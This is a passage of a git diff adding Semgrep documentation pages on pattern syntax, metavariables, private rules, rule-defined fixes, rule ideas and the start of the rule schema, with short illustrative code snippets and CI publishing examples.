+ellipsis. For example, the pattern `bar(...)` matches `bar(a)`,
+but also `bar(a, b)` and `bar()`. To force a match on a single item,
+use a metavariable as in `bar($X)`.
+
+## Metavariables
+
+Metavariables are an abstraction to match code when you don’t know the value or contents ahead of time, similar to [capture groups](https://regexone.com/lesson/capturing_groups) in regular expressions.
+
+Metavariables can be used to track values across a specific code scope. This
+includes variables, functions, arguments, classes, object methods, imports,
+exceptions, and more.
+
+Metavariables look like `$X`, `$WIDGET`, or `$USERS_2`. They begin with a `$` and can only
+contain uppercase characters, `_`, or digits. Names like `$x` or `$some_value` are invalid.
+
+### Expression metavariables
+
+The pattern `$X + $Y` matches the following code examples:
+
+```python
+foo() + bar()
+```
+
+```python
+current + total
+```
+
+### Import metavariables
+
+Metavariables can also be used to match imports. For example, `import $X` matches:
+
+```python
+import random
+```
+
+### Reoccurring metavariables
+
+Re-using metavariables shows their true power. Detect useless assignments:
+
+```text
+pattern: |
+ $X = $Y
+ $X = $Z
+```
+
+Useless assignment detected:
+
+```python
+initial_value = 10 # Oops, useless assignment
+initial_value = get_initial_value()
+```
+
+
+**TIP**
+
+The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
+
+
+### Literal Metavariables
+
+You can use `"$X"` to match any string literal. This is similar
+to using `"..."`, but the content of the string is stored in the
+metavariable `$X`, which can then be used in a message
+or in a [`metavariable-regex`](/writing-rules/rule-syntax/#metavariable-regex).
+
+You can also use `/$X/` and `:$X` to respectively match
+any regular expressions or atoms (in languages that support
+those constructs, e.g., Ruby).
+
+
+**INFO**
+
+Because literal metavariables bind to strings that may not be valid code, if you want to match them in more detail with a [`metavariable-pattern`](/writing-rules/rule-syntax/#metavariable-pattern), you must [specify `generic` language](/writing-rules/rule-syntax#metavariable-pattern-with-nested-language) inside the `metavariable-pattern`. For example:
+
+```
+rules:
+ - id: match-literal-string
+ languages:
+ - python
+ severity: LOW
+ message: Found "$STRING"
+ patterns:
+ - pattern: '"$STRING"'
+ - metavariable-pattern:
+ language: generic
+ metavariable: $STRING
+ pattern: "literal string contents"
+```
+
+
+### Typed metavariables
+
+#### Syntax
+
+Typed metavariables only match a metavariable if it’s declared as a specific type.
+
+##### Java:
+
+For example, to look for calls to the `log` method on `Logger` objects.
+A simple pattern for this purpose could use a metavariable for the Logger object.
+
+```text
+pattern: $LOGGER.log(...)
+```
+
+But if we are concerned about finding calls to the `Math.log()` method as well, we can use a typed metavariable to put a type constraint on the `$LOGGER` metavariable.
+
+```text
+pattern: (java.util.logging.Logger $LOGGER).log(...)
+```
+
+Alternatively, if we want to capture more logger types, for example custom logger types, we could instead add a constraint to the type of the argument in this method call instead.
+
+```text
+pattern: $LOGGER.log(java.util.logging.LogRecord $RECORD)
+```
+
+##### C:
+
+In this example in C, we want to capture all cases where something is compared to a char array.
+We start with a simple pattern that looks for comparison between two variables.
+
+```text
+pattern: $X == $Y
+```
+
+We can then put a type constraint on one of the metavariables used in this pattern by turning it into a typed metavariable.
+
+```text
+pattern: $X == (char *$Y)
+```
+
+```c
+int main() {
+ char *a = "Hello";
+ int b = 1;
+
+ // Matched
+ if (a == "world") {
+ return 1;
+ }
+
+ // Not matched
+ if (b == 2) {
+ return -1;
+ }
+
+ return 0;
+}
+```
+
+##### Go:
+
+The syntax for a typed metavariable in Go looks different from the syntax for Java.
+In this Go example we look for calls to the `Open` function, but only on an object of the `zip.Reader` type.
+
+```text
+pattern: |
+ ($READER : *zip.Reader).Open($INPUT)
+```
+
+```go
+func read_file(reader *zip.Reader, filename) {
+
+ // Matched
+ reader.Open(filename)
+
+ dir := http.Dir("/")
+
+ // Not matched
+ f, err := dir.Open(c.Param("file"))
+}
+```
+
+
+**CAUTION**
+
+For Go, Semgrep currently does not recognize the type of all variables that are declared on the same line. That is, the following will not take both `a` and `b` as `int`s: `var a, b = 1, 2`
+
+
+##### TypeScript:
+
+In this example, we want to look for uses of the DomSanitizer function.
+
+```text
+pattern: ($X: DomSanitizer).sanitize(...)
+```
+
+```typescript
+constructor(
+ private _activatedRoute: ActivatedRoute,
+ private sanitizer: DomSanitizer,
+) { }
+
+ngOnInit() {
+ // Not matched
+ this.sanitizer.bypassSecurityTrustHtml(DOMPurify.sanitize(this._activatedRoute.snapshot.queryParams['q']))
+
+ // Matched
+ this.sanitizer.bypassSecurityTrustHtml(this.sanitizer.sanitize(this._activatedRoute.snapshot.queryParams['q']))
+}
+```
+
+#### Using typed metavariables
+
+Type inference applies to the entire file! One common way to use typed metavariables is to check for a function called on a specific type of object. For example, let's say you're looking for calls to a potentially unsafe logger in a class like this:
+
+```
+class Test {
+ static Logger logger;
+
+ public static void run_test(String input, int num) {
+ logger.log("Running a test with " + input);
+
+ test(input, Math.log(num));
+ }
+}
+```
+
+If you searched for `$X.log(...)`, you can also match `Math.log(num)`. Instead, you can search for `(Logger $X).log(...)` which gives you the call to `logger`. See the rule [`logger_search`](https://semgrep.dev/playground/s/lgAo).
+
+
+**CAUTION**
+
+Since matching happens within a single file, this is only guaranteed to work for local variables and arguments. Additionally, Semgrep currently understands types on a shallow level. For example, if you have `int[] A`, it will not recognize `A[0]` as an integer. If you have a class with fields, you will not be able to use typechecking on field accesses, and it will not recognize the class’s field as the expected type. Literal types are understood to a limited extent. Expanded type support is under active development.
+
+
+### Ellipsis metavariables
+
+You can combine ellipses and metavariables to match a sequence
+of arguments and store the matched sequence in a metavariable.
+For example the pattern `foo($...ARGS, 3, $...ARGS)` will
+match:
+
+```python
+foo(1,2,3,1,2)
+```
+
+When referencing an ellipsis metavariable in a rule message or [metavariable-pattern](/writing-rules/rule-syntax#metavariable-pattern), include the ellipsis:
+
+```yaml
+- message: Call to foo($...ARGS)
+```
+
+### Anonymous metavariables
+
+Anonymous metavariables are used to specify that a metavariable exists in the pattern you want to capture.
+
+An anonymous metavariable always takes the form `$_`. Variables such as `$_1` or `$_2` are **not** anonymous. You can use more than one anonymous metavariable in a rule definition.
+
+For example, if you want to specify that a function should **always** have 3 arguments, then you can use anonymous metavariables:
+
+```yaml
+- pattern: def function($_, $_, $_)
+```
+
+An anonymous metavariable does not produce any binding to the code it matched. This means it does not enforce that it matches the same code at each place it is used. The pattern:
+
+```yaml
+- pattern: def function($A, $B, $C)
+```
+
+is not equivalent to the former example, as `$A`, `$B`, and `$C` bind to the code that matched the pattern. You can then use `$A` or any other metavariable in your rule definition to specify that specific code. Anonymous metavariables cannot be used this way.
+
+Anonymous metavariables also communicate to the reader that their values are not relevant, but rather their occurrence in the pattern.
+
+### Metavariable unification
+
+For search mode rules, metavariables with the same name are treated as the same metavariable within the `patterns` operator. This is called metavariable unification.
+
+For taint mode rules, patterns defined **within** `pattern-sinks` and `pattern-sources` still unify. However, metavariable unification **between** `pattern-sinks` and `pattern-sources` is **not** enabled by default.
+
+To enforce unification, set `taint_unify_mvars: true` under the rule `options` key. When `taint_unify_mvars: true` is set, a metavariable defined in `pattern-sinks` and `pattern-sources` with the same name is treated as the same metavariable. See [Metavariables, rule message, and unification](/writing-rules/data-flow/taint-mode/advanced#metavariables-rule-messages-and-unification) for more information.
+
+### Display matched metavariables in rule messages
+
+Display values of matched metavariables in rule messages. Add a metavariable to the rule message (for example `Found $X`) and Semgrep replaces it with the value of the detected metavariable.
+
+To display matched metavariable in a rule message, add the same metavariable as you are searching for in your rule to the rule message.
+
+
+
+Find the metavariable used in the Semgrep rule. See the following example of a part Semgrep rule (formula):
+ ```yaml
+ - pattern: $MODEL.set_password(…)
+ ```
+ This formula uses `$MODEL` as a metavariable.
+
+
+Insert the metavariable to rule message:
+ ```yaml
+ - message: Setting a password on $MODEL
+ ```
+
+
+Use the formula displayed above against the following code:
+ ```python
+ user.set_password(new_password)
+ ```
+
+
+
+The resulting message is:
+
+```
+Setting a password on user
+```
+
+Run the following example in Semgrep Playground to see the message (click **Open in Editor**, and then **Run**, unroll the **1 Match** to see the message):
+
+
+
+
+
+
+**INFO**
+
+If you're using Semgrep's advanced dataflow features, see documentation of experimental feature [Displaying propagated value of metavariable](/writing-rules/experiments/display-propagated-metavariable).
+
+
+## Equivalences
+
+Semgrep automatically searches for code that is semantically equivalent.
+
+### Imports
+
+Equivalent imports using aliasing or submodules are matched.
+
+The pattern `subprocess.Popen(...)` matches:
+
+```python
+import subprocess.Popen as sub_popen
+sub_popen('ls')
+```
+
+The pattern `foo.bar.baz.qux(...)` matches:
+
+```python
+from foo.bar import baz
+baz.qux()
+```
+
+### Constants
+
+Semgrep performs constant propagation.
+
+The pattern `set_password("password")` matches:
+
+```python
+HARDCODED_PASSWORD = "password"
+
+def update_system():
+ set_password(HARDCODED_PASSWORD)
+```
+
+Basic constant propagation support like in the example above is a stable feature.
+Experimentally, Semgrep also supports [intraprocedural flow-sensitive constant propagation](/writing-rules/data-flow/constant-propagation).
+
+The pattern `set_password("...")` also matches:
+
+```python
+def update_system():
+ if cond():
+ password = "abc"
+ else:
+ password = "123"
+ set_password(password)
+```
+
+
+**TIP**
+
+It is possible to disable constant propagation in a per-rule basis via the [`options` rule field](/writing-rules/rule-syntax#options).
+
+
+### Associative and commutative operators
+
+Semgrep performs associative-commutative (AC) matching. For example, `... && B && C` will match both `B && C` and `(A && B) && C` (i.e., `&&` is associative). Also, `A | B | C` will match `A | B | C`, and `B | C | A`, and `C | B | A`, and any other permutation (i.e., `|` is associative and commutative).
+
+Under AC-matching metavariables behave similarly to `...`. For example, `A | $X` can match `A | B | C` in four different ways (`$X` can bind to `B`, or `C`, or `B | C`). In order to avoid a combinatorial explosion, Semgrep will only perform AC-matching with metavariables if the number of potential matches is _small_, otherwise it will produce just one match (if possible) where each metavariable is bound to a single operand.
+
+Using [`options`](/writing-rules/rule-syntax#options) it is possible to entirely disable AC-matching. It is also possible to treat Boolean AND and OR operators (e.g., `&&` in `||` in C-family languages) as commutative, which can be useful despite not being semantically accurate.
+
+## Deep expression operator
+
+Use the deep expression operator `<... [your_pattern] ...>` to match an expression that could be deeply nested within another expression. An example is looking for a pattern anywhere within an `if` statement. The deep expression operator matches your pattern in the current expression context and recursively in any subexpressions.
+
+For example, this pattern:
+
+```yaml
+pattern: |
+ if <... $USER.is_admin() ...>:
+ ...
+```
+
+matches:
+
+```python
+if user.authenticated() and user.is_admin() and user.has_group(gid):
+ [ CONDITIONAL BODY ]
+```
+
+The deep expression operator works in:
+
+- `if` statements: `if <... $X ...>:`
+- nested calls: `sql.query(<... $X ...>)`
+- operands of a binary expression: `"..." + <... $X ...>`
+- any other expression context
+
+## Limitations
+
+### Statements types
+
+Semgrep handles some statement types differently than others, particularly when searching for fragments inside statements. For example, the pattern `foo` will match these statements:
+
+```python
+x += foo()
+return bar + foo
+foo(1, 2)
+```
+
+But `foo` will not match the following statement (`import foo` will match it though):
+
+```python
+import foo
+```
+
+#### Statements as expressions
+
+Many programming languages differentiate between expressions and statements. Expressions can appear inside if conditions, in function call arguments, etc. Statements can not appear everywhere; they are sequence of operations (in many languages using `;` as a separator/terminator) or special control flow constructs (if, while, etc.).
+
+`foo()` is an expression (in most languages).
+
+`foo();` is a statement (in most languages).
+
+If your search pattern is a statement, Semgrep will automatically try to search for it as _both_ an expression and a statement.
+
+When you write the expression `foo()` in a pattern, Semgrep will visit every expression and sub-expression in your program and try to find a match.
+
+Many programmers don't really see the difference between `foo()` and `foo();`. This is why when one looks for `foo()`; Semgrep thinks the user wants to match statements like `a = foo();`, or `print(foo());`.
+
+
+**INFO**
+
+Note that in some programming languages such as Python, which does not use semicolons as a separator or terminator, the difference between expressions and statements is even more confusing. Indentation in Python matters, and a newline after `foo()` is really the same than `foo();` in other programming languages such as C.
+
+
+### Partial expressions
+
+Partial expressions are not valid patterns. For example, the following is invalid:
+
+```text
+pattern: 1+
+```
+
+A complete expression is needed (like `1 + $X`)
+
+### Ellipses and statement blocks
+
+The [ellipsis operator](#ellipsis-operator) does _not_ jump from inner to outer statement blocks.
+
+For example, this pattern:
+
+```text
+foo()
+...
+bar()
+```
+
+matches:
+
+```python
+foo()
+baz()
+bar()
+```
+
+and also matches:
+
+```python
+foo()
+baz()
+if cond:
+ bar()
+```
+
+but it does _not_ match:
+
+```python
+if cond:
+ foo()
+baz()
+bar()
+```
+
+because `...` cannot jump from the inner block where `foo()` is, to the outer block where `bar()` is.
+
+### Partial statements
+
+Partial statements are partially supported. For example,
+you can just match the header of a conditional with `if ($E)`,
+or just the try part of an exception statement with `try { ... }`.
+
+This is especially useful when used in a
+[pattern-inside](/writing-rules/rule-syntax#pattern-inside) to restrict the
+context in which to search for other things.
+
+### Other partial constructs
+
+It is possible to just match the header of a function (without its body),
+for example `int foo(...)` to match just the header part of the
+function `foo`. In the same way, you can just match a class header
+(e.g., with `class $A`).
+
+## Deprecated features
+
+### String matching
+
+
+**WARNING**
+
+String matching has been deprecated. You should use [`metavariable-regex`](/writing-rules/rule-syntax#metavariable-regex) instead.
+
+
+Search string literals within code with [Perl Compatible Regular Expressions (PCRE)](https://learnxinyminutes.com/pcre/).
+
+The pattern `requests.get("=~/dev\./i")` matches:
+
+```python
+requests.get("api.dev.corp.com") # Oops, development API left in
+```
+
+To search for specific strings, use the syntax `"=~//"`. Advanced regexp features are available, such as case-insensitive regexps with `'/i'` (e.g., `"=~/foo/i"`). Matching occurs anywhere in the string unless the regexp `^` anchor character is used: `"=~/^foo.*/"` checks if a string begins with `foo`.
diff --git a/mintlify-docs/writing-rules/private-rules.mdx b/mintlify-docs/writing-rules/private-rules.mdx
new file mode 100644
index 0000000000..9efdcc8631
--- /dev/null
+++ b/mintlify-docs/writing-rules/private-rules.mdx
@@ -0,0 +1,164 @@
+---
+title: "Private rules"
+---
+
+Users with Semgrep Code's [Team or Enterprise tier](https://semgrep.dev/pricing) can publish rules to the [Semgrep Registry](https://semgrep.dev/explore) as private rules that are not visible to those outside their organization. Maintaining the rules' privacy allows you the benefits of using the Semgrep Registry while keeping sensitive code or information internal.
+
+## Creating private rules
+
+You can create private rules the same way you create other custom rules. The subsequent sections can help you create and save your private rules.
+
+### Create private rules through Semgrep AppSec Platform
+
+To create and publish private rules through the Semgrep AppSec Platform:
+
+
+
+Go to [Semgrep Editor](https://semgrep.dev/orgs/-/editor).
+
+
+Click **Create New Rule**.
+
+
+Choose one of the following options to create your rule:
+ - Click the **plus** icon, select **New rule**, provide the YAML file for your rule, and then click **Save**.
+ - In the **Library** panel, select a rule from a category in **Semgrep Registry**. Click **Fork**, modify the rule or test code, and then click **Save**.
+
+
+Click **Share**.
+
+
+Click **Private**.
+
+
+
+Your private rule has been created and added to the Registry. It is visible only to logged in users of your organization, and its private status is reflected by the **Share** button displaying a icon.
+
+Private rules are stored in the folder with the same name as your Semgrep AppSec Platform organization.
+
+### Create private rules through the Semgrep command-line interface
+
+To create private rules through the [Semgrep CLI](/getting-started/quickstart), :
+
+
+
+Log in to Semgrep. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
+
+ ```console
+ semgrep login
+ ```
+
+
+In the **Semgrep CLI login**, click **Activate** to proceed.
+
+
+Create your rule. For more information, see [Contributing rules](/contributing/contributing-to-semgrep-rules-repository).
+
+
+Publish your rule from the command line using `semgrep publish` command followed by the path to your private rules:
+
+ ```console
+ semgrep publish myrules/
+ ```
+
+
+
+If the rules are in the directory you publish from, you can use `semgrep publish .` to refer to the current directory. You must provide the directory specification.
+
+If the directory contains test cases for the rules, Semgrep uploads them as well (see [testing Semgrep rules](/writing-rules/testing-rules)).
+
+You can change the visibility of the rules. For instance, to publish the rules as unlisted (which does not require authentication but results in the rules hidden from users of the public registry):
+
+```console
+semgrep publish --visibility=unlisted myrules/
+```
+
+For more details, run `semgrep publish --help`.
+
+## View and use private rules
+
+View your rules in [Semgrep Editor](https://semgrep.dev/orgs/-/editor) under the folder corresponding to your organization name.
+
+You can also find it in the [Semgrep Registry](https://semgrep.dev/explore) by searching for `[organization-id].[rule-id]`. For example: `r2c.test-rule-id`.
+
+To use the rule with subsequent scans, add the rule in the [Registry](https://semgrep.dev/explore) to an existing policy.
+
+## Automatically publish rules
+
+This section provides examples of how to automatically publish your private rules so they are accessible within your private organization. Publishing your private rules in this manner does not make them public. In the following examples, the private rules are stored in `private_rule_dir`, which is a subdirectory of the repository root. If your rules are in the root of your repository, you can replace the command with `semgrep publish --visibility=org_private .` to refer to the repository root. You must provide the directory specification.
+
+The following sample of the GitHub Actions workflow publishes rules from a private Git repository after a merge to the `main`, `master`, or `develop` branches.
+
+
+
+Ensure that `SEMGREP_APP_TOKEN` is defined in your GitHub project or organization's secrets.
+
+
+Create the following file at `.github/workflows/semgrep-publish.yml`:
+
+ ```yaml expandable
+ name: semgrep-publish
+
+ on:
+ push:
+ branches:
+ - main
+ - master
+ - develop
+
+ jobs:
+ publish:
+ name: publish-private-semgrep-rules
+ runs-on: ubuntu-latest
+ container:
+ image: semgrep/semgrep
+ steps:
+ - uses: actions/checkout@v6
+ - name: publish private semgrep rules
+ run: semgrep publish --visibility=org_private ./private_rule_dir
+ env:
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+ ```
+
+ Alternatively, if you use GitLab, you can use the subsequent sample after ensuring that `SEMGREP_APP_TOKEN` is defined in your GitLab project's CI/CD variables:
+ ```yaml
+ semgrep-publish:
+ image: semgrep/semgrep
+ script: semgrep publish --visibility=org_private ./private_rule_dir
+
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+
+ variables:
+ SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
+ ```
+
+
+
+## Delete private rules
+
+To remove a private rule, follow these steps:
+
+
+
+In the [Semgrep Editor](https://semgrep.dev/orgs/-/editor), find the private rule to delete under the **Library** tab. Private rules are usually stored in the folder with the same name as your Semgrep AppSec Platform organization.
+
+
+Click the rule you want to delete, and then click the three vertical dots.
+
+
+Click **Delete**.
+
+
+
+Deleting a rule is permanent. If the rule was previously added to the **Policies** page, it is removed upon deletion.
+
+## Appendix
+
+### Visibility of private rules
+
+Private rules are only visible to logged-in members of your organization.
+
+### Publish a rule with the same rule ID
+
+Rules have unique IDs. If you publish a rule with the same ID as an existing rule, the new rule overwrites the previous one.
diff --git a/mintlify-docs/writing-rules/rule-defined-fix.mdx b/mintlify-docs/writing-rules/rule-defined-fix.mdx
new file mode 100644
index 0000000000..4beb4df5e5
--- /dev/null
+++ b/mintlify-docs/writing-rules/rule-defined-fix.mdx
@@ -0,0 +1,107 @@
+---
+title: "Rule-defined fix"
+description: "Rule-defined fix is a Semgrep feature that lets you add suggested fixes to rules."
+---
+
+Semgrep's rule format supports a `fix:` key that supports the replacement of metavariables and regex matches with potential fixes. When rules that include a Rule-defined fix are triggered, Semgrep suggests these fixes in your pull request or merge request comments. You can view and easily resolve the findings as part of your code review workflow.
+
+You can apply the Rule-defined fix directly to the file using the `--autofix` flag. To test the fix before applying it, use both the `--autofix` and `--dryrun` flags.
+
+
+**TIP**
+
+Rule-defined fixes are deterministic and user-defined. Related AI-powered features include [Semgrep Multimodal's Suggested fix](/semgrep-multimodal/overview#autofix), which identifies code that needs to be fixed, and Semgrep Autofix, which can automatically generate a fix PR with a single click.
+
+
+
+## Example Rule-defined fix snippet
+
+Sample Rule-defined fix (view in [Playground](https://semgrep.dev/s/R6g)):
+
+```yaml
+rules:
+ - id: use-sys-exit
+ languages:
+ - python
+ message: |
+ Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper
+ for the interactive shell and is not available on all Python implementations.
+ https://stackoverflow.com/a/6501134
+ pattern: exit($X)
+ fix: sys.exit($X)
+ severity: MEDIUM
+```
+
+## Create Rule-defined fix rules
+
+See how to create a Rule-defined fix in the **Transforming code with Semgrep's Rule-defined fix** video:
+
+
+
+
+
+## Rule-defined fix with regular expression replacement
+
+A variant of the `fix` key is `fix-regex`, which applies regular expression replacements (similar to `sed`) to matches found by Semgrep.
+
+`fix-regex` has two required fields:
+
+- `regex` specifies the regular expression to replace within the match found by Semgrep
+- `replacement` specifies what to replace the regular expression with.
+
+`fix-regex` also takes an optional `count` field, which specifies how many occurrences of `regex` to replace with `replacement`, from left-to-right and top-to-bottom. By default, `fix-regex` will replace all occurrences of `regex`. If `regex` does not match anything, no replacements are made.
+
+The replacement behavior is identical to the `re.sub` function in Python. See these [Python docs](https://docs.python.org/3/library/re.html#re.sub) for more information.
+
+An example rule with `fix-regex` is shown below. `regex` uses a capture group to greedily capture everything up to the final parenthesis in the match found by Semgrep. `replacement` replaces this with everything in the capture group (`\1`), a comma, `timeout=30`, and a closing parenthesis. Effectively, this adds `timeout=30` to the end of every match.
+
+```yaml
+rules:
+ - id: python.requests.best-practice.use-timeout.use-timeout
+ patterns:
+ - pattern-not: requests.$W(..., timeout=$N, ...)
+ - pattern-not: requests.$W(..., **$KWARGS)
+ - pattern-either:
+ - pattern: requests.request(...)
+ - pattern: requests.get(...)
+ - pattern: requests.post(...)
+ - pattern: requests.put(...)
+ - pattern: requests.delete(...)
+ - pattern: requests.head(...)
+ - pattern: requests.patch(...)
+ fix-regex:
+ regex: '(.*)\)'
+ replacement: '\1, timeout=30)'
+ message: |
+ 'requests' calls default to waiting until the connection is closed.
+ This means a 'requests' call without a timeout will hang the program
+ if a response is never received. Consider setting a timeout for all
+ 'requests'.
+ languages: [python]
+ severity: MEDIUM
+```
+
+## Remove a code detected by a rule
+
+Improve your code quality by cleaning up stale code automatically. To remove code idetified by a Rule-defined fix, add the `fix` key with an empty string `""`.
+
+For example:
+
+```yaml
+- id: python-typing
+ pattern: from typing import $X
+ fix: ""
+ languages: [python]
+ message: found one
+ severity: ERROR
+```
+
+When you apply this Rule-defined fix, the detected code is removed.
diff --git a/mintlify-docs/writing-rules/rule-ideas.mdx b/mintlify-docs/writing-rules/rule-ideas.mdx
new file mode 100644
index 0000000000..7b0c43e483
--- /dev/null
+++ b/mintlify-docs/writing-rules/rule-ideas.mdx
@@ -0,0 +1,142 @@
+---
+title: "Rule structure syntax examples"
+description: "Not sure what to write a rule for? Below are some common questions, ideas, and topics to spur your imagination. Happy hacking! 💡"
+---
+
+## Automate code review comments
+
+_Time to write this rule: **5 minutes**_
+
+You can use Semgrep and its GitHub integration to [automate PR comments](/semgrep-appsec-platform/notifications) that you frequently make in code reviews. Writing a custom rule for the code pattern you want to target is usually straightforward. If you want to understand the Semgrep syntax, see the [documentation](/writing-rules/pattern-syntax) or try the [tutorial](https://semgrep.dev/learn).
+
+
+
+
+
+A reviewer writes a Semgrep rule and adds it to an organization-wide policy.
+
+
+## Ban dangerous APIs
+
+_Time to write this rule: **5 minutes**_
+
+Semgrep can detect dangerous APIs in code. If integrated into CI/CD pipelines, you can use Semgrep to block merges or flag for review when someone adds such dangerous APIs to the code. For example, a rule that detects React's `dangerouslySetInnerHTML` looks like this.
+
+
+
+
+
+## Exempt special cases of dangerous APIs
+
+_Time to write this rule: **5 minutes**_
+
+If you have a legitimate use case for a dangerous API, you can exempt a specific use of the API using a `nosemgrep` comment. The rule below checks for React's `dangerouslySetInnerHTML`, but the code is annotated with a `nosemgrep` comment. Semgrep will not detect this line. This allows Semgrep to continuously check for future uses of `dangerouslySetInnerHTML` while allowing for this specific use.
+
+
+
+
+
+## Detect tainted data flowing into a dangerous sink
+
+_Time to write this rule: **5 minutes**_
+
+Semgrep's [dataflow engine with support for taint tracking](/writing-rules/data-flow/data-flow-overview) can be used to detect when data flows from a user-provided value into a security-sensitive function.
+
+This rule detects when a user of the ExpressJS framework passes user data into the `run()` method of a sandbox.
+
+
+
+
+
+
+## Detect security violations
+
+_Time to write this rule: **5 minutes**_
+
+Use Semgrep to flag specific uses of APIs too, not just their presence in code. We jokingly call these the "security off" buttons and make extensive use of Semgrep to detect them.
+
+This rule detects when HTML auto-escaping is explicitly disabled for a Django template.
+
+
+
+
+
+## Scan configuration files using JSON, YAML, or generic pattern matching
+
+_Time to write this rule: **10 minutes**_
+
+Semgrep [natively supports JSON and YAML](/supported-languages) and can be used to write rules for configuration files. This rule checks for skipped TLS verification in Kubernetes clusters.
+
+
+
+
+
+The [Generic pattern matching](/writing-rules/generic-pattern-matching) mode is for languages and file formats that Semgrep does not natively support. For example, you can write rules for Dockerfiles using the generic mode. The Dockerfile rule below checks for invalid port numbers.
+
+
+
+
+
+## Enforce authentication patterns
+
+_Time to write this rule: **15 minutes**_
+
+If a project has a "correct" way of doing authentication, Semgrep can be used to enforce this so that authentication mishaps do not happen. In the example below, this Flask app requires an authentication decorator on all routes. The rule detects routes that are missing authentication decorators. If deployed in CI/CD pipelines, Semgrep can block undecorated routes or flag a security member for further investigation.
+
+
+
+
+
+## Systematize project-specific coding patterns
+
+_Time to write this rule: **10 minutes**_
+
+Automate institutional knowledge using Semgrep. This has several benefits, including teaching new members about coding patterns in an automatic way and keeping a project up-to-date with coding patterns. If you keep coding guidelines in a document, converting these into Semgrep rules is a great way to free developers from having to remember all the guidelines.
+
+In this example, a legacy API requires calling `verify_transaction(t)` before calling `make_transaction(t)`. The Semgrep rule below detects when these methods are not called correctly.
+
+
+
+
+
+## Extract information with metavariables
+
+_Time to write this rule: **15 minutes**_
+
+Semgrep metavariables can be used as output in the `message` key. This can be used to extract and collate information about a codebase. Click through to [this example](https://semgrep.dev/s/ORpk), which extracts Java Spring routes. This can be used to quickly see all the exposed routes of an application.
+
+
+## Detect deprecated APIs
+
+_Time to write this rule: **5 minutes**_
+
+Semgrep can detect deprecated APIs just as easily as dangerous APIs. Identifying deprecated API calls can help an application migrate to current or future versions.
+
+This rule example detects a function that is deprecated as of Django 4.0.
+
+
+
+
+
+## Promote secure alternatives
+
+_Time to write this rule: **5 minutes**_
+
+Some libraries or APIs have safe alternatives, such as [Google's `re2`](https://github.com/google/re2), an implementation of the standard `re` interface that ships with Python that is resistant to regular expression denial-of-service. This rule detects the use of `re` and recommends `re2` as a safe alternative with the same interface.
+
+
+
+
+
+## Prompts for writing custom rules
+
+Try answering these questions to uncover important rules for your project.
+
+1. From recent post-mortems: what code issues contributed to it?
+1. [XYZ] is a (security, performance, other) library that everyone should use, but they don’t consistently.
+1. When you review code, what changes do you frequently ask for?
+1. What vulnerability classes from bug bounty submissions recur (or appear in different places of the codebase)?
+1. Are there engineering or performance patterns? Consistent exception handlers?
+1. What issues were caused by misconfigurations in Infrastructure-as-Code files (JSON)?
+1. What are some “invariants” that should hold about your code - things that should always or never be true (for example, every admin route checks if the user is an admin)?
+1. What methods/APIs are deprecated and you’re trying to move away from?
diff --git a/mintlify-docs/writing-rules/rule-syntax.mdx b/mintlify-docs/writing-rules/rule-syntax.mdx
new file mode 100644
index 0000000000..f4290fb855
--- /dev/null
+++ b/mintlify-docs/writing-rules/rule-syntax.mdx
@@ -0,0 +1,1336 @@
+---
+title: "Rule structure syntax"
+---
+
+
+**TIP**
+
+Getting started with rule writing? Try the [Semgrep Tutorial](https://semgrep.dev/learn) 🎓
+
+
+This document describes the YAML rule syntax of Semgrep.
+
+## Schema
+
+### Required
+
+
+All required fields must be present at the top level of a rule immediately under the `rules` key.
+
+| Field | Type | Description |
+| :------------ | :------- | :---------- |
+| `id` | `string` | Unique, descriptive identifier, for example: `no-unused-variable` |
+| `message` | `string` | Message that includes why Semgrep matched this pattern and how to remediate it. See also [Rule messages](/contributing/contributing-to-semgrep-rules-repository/#rule-messages). |
+| `severity` | `string` | Severity can be `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL`. It indicates the criticality of issues detected by a rule. Note: Semgrep Supply Chain uses [CVE assignments for severity](/semgrep-supply-chain/findings#filter-findings), while the rule author sets severity for Code and Secrets. The older levels `ERROR`, `WARNING`, and `INFO` match `HIGH`, `MEDIUM`, and `LOW`. Severity values remain backwards compatible. |
+| `languages` | `array` | See [language extensions and tags](/writing-rules/rule-syntax/#language-extensions-and-languages-key-values). |
+| `pattern`_\*_ | `string` | Find code matching this expression |
+| `patterns`_\*_ | `array` | Logical `AND` of multiple patterns |
+| `pattern-either`_\*_ | `array` | Logical `OR` of multiple patterns |
+| `pattern-regex`_\*_ | `string` | Find code matching this [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html)-compatible pattern in multiline mode |
+
+
+**INFO**
+
+Only one of the following keys are required: `pattern`, `patterns`, `pattern-either`, `pattern-regex`
+
+
+
+#### Language extensions and languages key values
+
+
+The following table includes languages supported by Semgrep, accepted file extensions for test files that accompany the rules, and valid values that Semgrep rules require in the `languages` key.
+
+| Language | Extensions | `languages` key values |
+|:------------------------------------|:-------------------------------------------------------------------------------------------------|:--------------------------------------|
+| Apex (only in Semgrep Pro Engine) | `.cls` | `apex` |
+| Bash | `.bash`, `.sh` | `bash`, `sh` |
+| C | `.c`, `.h` | `c` |
+| Cairo | `.cairo` | `cairo` |
+| Circom | `.circom` | `circom` |
+| Clojure | `.clj`, `.cljs`, `.cljc`, `.edn` | `clojure` |
+| C++ | `.cc`, `.cpp`, `.cxx`, `.c++`, `.pcc`, `.tpp`, `.C`, `.h`, `.hh`, `.hpp`, `.hxx`, `.inl`, `.ipp` | `cpp`, `c++` |
+| C# | `.cs` | `csharp`, `c#` |
+| Dart | `.dart` | `dart` |
+| Dockerfile | `.dockerfile`, `.Dockerfile`, `dockerfile`, `Dockerfile` | `dockerfile`, `docker` |
+| Elixir (only in Semgrep Pro Engine) | `.ex`, `.exs` | `ex`, `elixir` |
+| Generic | `.generic` | `generic` |
+| Go | `.go` | `go`, `golang` |
+| Gosu (only in Semgrep Pro Engine) | `.gs` | `gosu` |
+| Hack | `.hack`, `.hck`, `.hh` | `hack` |
+| HTML | `.htm`, `.html` | `html` |
+| Java | `.java` | `java` |
+| JavaScript | `.js`, `.jsx`, `.cjs`, `.mjs` | `js`, `javascript` |
+| JSON | `.json`, `.ipynb` | `json` |
+| Jsonnet | `.jsonnet`, `.libsonnet` | `jsonnet` |
